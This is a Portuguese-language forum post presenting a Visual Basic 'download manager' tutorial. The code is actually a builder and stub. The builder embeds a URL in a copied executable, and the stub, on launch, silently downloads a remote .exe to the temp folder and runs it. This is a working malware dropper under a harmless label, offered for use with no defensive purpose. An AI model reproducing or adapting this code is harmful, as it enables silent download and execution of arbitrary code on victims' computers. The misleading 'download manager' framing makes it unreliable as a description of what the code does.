Forum ViSiBLe

Bem Vindo
Se registrares neste fórum, podes fazer parte da nossa comunidade.Prezamos aqui pela participação ACTIVA de cada membro.


Atençao: Nao precisa Confirma a sua conta no hotmail (Basta Registrar e Começar a participar do forum.)
Precisamos de administradores e moderadores!! Clique Aqui!

Anuncio


    [Tutorial] Download manager como fazer seu propio

    Compartilhe

    MrViSiBLe
    Fundador ViSiBLe
    Fundador ViSiBLe

    Número de Mensagens : 3688
    Idade : 24
    Localização : Cuiaba
    Agradecimentos Agradecimentos : 864
    Data de inscrição : 10/12/2008

    [Tutorial] Download manager como fazer seu propio

    Mensagem por MrViSiBLe em 7/20/2010, 21:47

    Ola a todos novamente!

    Nesse tutorial! eu vou ensinar a voces, como podemos criar um download manager!

    nesse caso eu so usei (exe), pode podera modificar ele de acordo com as suas ideias! podendo colocar (mp3), (ipa) , (zip) ....


    ------------
    abra se o visual basic 2008 e nele se crie


    -2 text box
    -1 Button
    -2 labels




    Código:

    Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    Dim FileSplit As String = "(CopyBoT)"
    Dim Sfd As New SaveFileDialog

    Dim SaveFileName As String

    Sfd.Filter = "*.Exe | *.Exe"

    If Sfd.ShowDialog = Windows.Forms.DialogResult.OK Then SaveFileName = Sfd.FileName _
    Else Exit Sub


    Try
    FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, _
    OpenAccess.Read, OpenShare.Default)
    Dim Stub As String = Space(LOF(1))
    FileGet(1, Stub)
    FileClose(1)
    FileOpen(2, SaveFileName, OpenMode.Binary, OpenAccess.Write, OpenShare.Default)
    FilePut(2, Stub & FileSplit & TextBox1.Text & FileSplit & TextBox2.Text)

    FileClose(2)
    MessageBox.Show("The file was built!")
    Catch ex As Exception

    MessageBox.Show("There was an error!" & vbNewLine & ex.ToString)
    End Try
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Dim FileSplit As String = "(CopyBoT)"
    Dim Options() As String
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
    Dim F As String = Space(LOF(1))
    FileGet(1, F)
    FileClose(1)
    Options = Split(F, FileSplit)
    Dim urllink As String = Options(1)
    Dim TEMP As String = System.IO.Path.GetTempPath
    Dim file As String = TEMP & Options(2) & ".exe"
    My.Computer.Network.DownloadFile(urllink, file)
    Process.Start(file)

    Me.Close()
    End Sub
    End Class

    pronto Wink


    _________________
    MrViSiBLe Gosto? agradeça. clique em [b]+ Ta Ai do lado Olha  >>>>>Nao Custa Nada[/b]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]

      Data/hora atual: 12/11/2016, 08:49